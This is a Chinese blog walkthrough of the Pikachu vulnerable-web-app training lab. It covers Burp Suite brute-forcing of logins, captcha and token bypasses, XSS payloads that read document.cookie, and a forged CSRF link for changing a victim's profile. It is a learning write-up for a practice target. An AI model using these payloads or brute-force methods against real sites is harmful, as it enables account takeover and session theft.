Pikachu靶场通关教程

0x01 靶场介绍

Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。

暴力破解

基于表单的暴力破解

随便输入用户名和密码 admin admin 提示用户名或者密码错误 点击提示发现有admin用户 再次输入admin admin 用BP抓包进行爆破



导入字典,开始攻击 攻击完成后 发现payload为123456时 与其他长度不一 所以admin用户的密码为:123456

验证码绕过(on server)

与上个题目步骤一样 只不过多了验证码登录 但是验证码一直有效 不会对暴力破解产生影响

验证码绕过(on client)

在intruder里验证码也可重复使用,也可以审查元素把相关的代码删除

token防爆破?

这一关增加的Token值,用来防止爆破,不过在多次抓包在之后,发现每次返回的数据中含有下一次的Token值

满足以上条件我们就可以使用burp的鱼叉攻击进行爆破,线程必须为1,参数为password和token

password载荷设置:

token载荷设置,类型为递归搜索:

上图中,第五步复制的value值放入下图中:

开始攻击:

Cross-Site Scripting

反射型xss(get)

输入框输入:<script>alert('xss')</script> 不过有字数限制  审查页面元素时将maxlength更改为大的数值

反射性xss(post)

登录后直接:<script>alert('xss')</script>

存储型xss

留言板输入:<script>alert(document.cookie)</script>

DOM型xss

Payload:#' onmouseover=alert(document.cookie)>

DOM型xss

Payload:#' onmouseover=alert(document.cookie)>   or   #' onclick="alert(document.cookie)">

XSS盲打

这个是将留言保存至后台 当管理员登录查看留言时就会促发

Payload:<script>alert(document.cookie)</script>


xss之过滤

不知道过滤了什么 先将script大写

payload:<SCRIPT>alert('xss')</SCRIPT>

xss之htmlspecialchars

payload:
' onclick='alert(1)'
' onmouseover='alert(1)'
' onmouseover='javascript:alert(1)'

xss之href输出

这个页面会接收我们的输入的message,然后判断我们输入的网址,如果输入的不是百度会对我们输入的内容用 htmlspecialchars() 进行处理。
这个函数转义单引号、双引号和左右尖括号。然后输出到 a 标签的 href 属性中,在 a 标签的href属性中,可以用javascript协议来执行JS

payload:javascript:alert(document.cookie)

xss之js输出

从源码得知输入的内容嵌到script内部,于是考虑可以先闭合script标签然后再进行XSS

payload:</script><script>alert(1)</script>

CSRF

CSRF(get)

随便登录一个账户然后选择修改个人信息并抓包,然后即可根据包中数据构造钓鱼链接,发给受害者,在他保持登录状态的情况下,会将对应字段的信息改成攻击者设置好的内容

payload:http://x.x.x.x/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=test&phonenum=test&add=test&email=test@test.com&submit=submit

CSRF(post)

同样地,先登录。修改个人信息,然后抓包

信息变为POST方式提交 然后使用BP生成CSRF POC

构造好POC之后 切换用户模拟点击钓鱼网页


CSRF Token

这一关没有破解方法,主要是让你了解Token的运作机制 请求包中有一个Token

响应包中也有一个Token

这里我们就要分析一下这个token的作用了。按照前面csrf get的方法,攻击者会伪造一个GET URL去让用户点击。但用户正常提供GET请求时,会把服务器返回的token填入和提交,而攻击者伪造URL时除非前期抓包获取到这个返回的token,否则他是不会知道这个token的。所以攻击者无法构造GET URL。同理,对于POST方法也是一样。所以,使用token是一个很好的防御CSRF攻击的方法。

posted @ 2023-04-06 10:49  周知行  阅读(3222)  评论(0编辑  收藏  举报